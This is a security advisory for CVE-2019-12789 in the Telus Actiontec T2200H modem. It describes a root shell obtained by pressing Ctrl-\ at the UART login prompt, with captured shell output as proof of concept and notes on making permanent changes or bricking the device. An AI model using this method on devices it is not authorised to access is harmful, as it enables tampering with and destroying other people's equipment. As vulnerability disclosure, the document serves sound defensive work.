Telus Actiontec T2200H Local Privilege Escalation

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### Device Details  
Discovered By: Andrew Klaus ([email protected])  
Vendor: Actiontec (Telus Branded)  
Model: T2200H  
Affected Firmware: T2200H-31.128L.08  
Device Manual:  
http://static.telus.com/common/cms/files/internet/telus_t2200h_user_manu  
al.pdf  
  
Reported: Sept 2018  
CVE: CVE-2019-12789  
  
The Telus Actiontec T2200H is bonded VDSL2 modem. It  
incorporates 2 VDSL2 bonded links with a built-in firewall, bridge mode,  
802.11bgn wireless, etc.  
  
### Summary of Findings  
  
By attaching an adapter, such as a Raspberry Pi or other UART adpter,  
to the UART pins on the system board, an attacker can use a special  
key sequence (Ctrl-\) to obtain a shell with root privileges at the  
login prompt.  
  
After gaining root access, the attacker can mount the linux /dev/md*  
jffs2 partitions read-write and make permanent modifications to the  
device including disabling features such as remote management, vendor  
updating, etc. It can also be used to overwrite the flash storage,  
permanently bricking the device.  
  
Other note: I was also able to cross-compile a new full-functionality  
BusyBox binary using https://buildroot.org/. By plugging in a USB Mass  
Storage Device on the rear of the modem, I was able to dump the firmware  
using “busybox dd”.  
  
### PoC (UART output)  
Login:  
Password: (Ctrl+\)  
….  
(Long stack trace)  
….  
#  
# cat /etc/image_version  
T2200H-311288BGW1521450  
  
  
# ps aux  
PID USER VSZ STAT COMMAND  
233 admin 1980 R -/bin/sh  
251 admin 0 DW< [kthread]  
269 admin 0 SW [kpAliveWatchdog]  
301 admin 0 SW [bcmsw]  
302 admin 0 SW [bcmsw_timer]  
355 500 2344 S /bin/dbus-daemon --system  
372 admin 1976 S syslogd -n -C -l 5  
373 admin 1952 S klogd -n  
911 admin 1732 S /bin/wlevt  
1041 admin 0 SW [dsl0]  
1273 admin 7084 S swmdk  
1401 admin 1800 S ./pmd  
1451 admin 5304 S smbd -D  
1540 admin 7084 S swmdk  
1541 admin 7084 S swmdk  
1544 admin 7084 S swmdk  
1569 admin 5304 S smbd -D  
1661 admin 1304 S /bin/lld2d br0  
1785 admin 1240 S /bin/eapd  
1803 admin 1676 S /bin/nas  
2129 admin 1344 S /bin/acsd  
2175 admin 3132 R /bin/wps_monitor  
2262 admin 3916 S ./data_center  
5941 admin 2924 S dhcp6s -c /var/dhcp6s.conf br0  
6018 admin 896 S radvd -C /var/radvd.conf  
  
# mount  
rootfs on / type rootfs (rw)  
mtd:rootfs on / type jffs2 (ro,relatime)  
proc on /proc type proc (rw,relatime)  
tmpfs on /var type tmpfs (rw,relatime,size=420k)  
tmpfs on /mnt type tmpfs (rw,relatime,size=16k)  
sysfs on /sys type sysfs (rw,relatime)  
mtd:data on /data type jffs2 (rw,relatime)  
  
  
  
  
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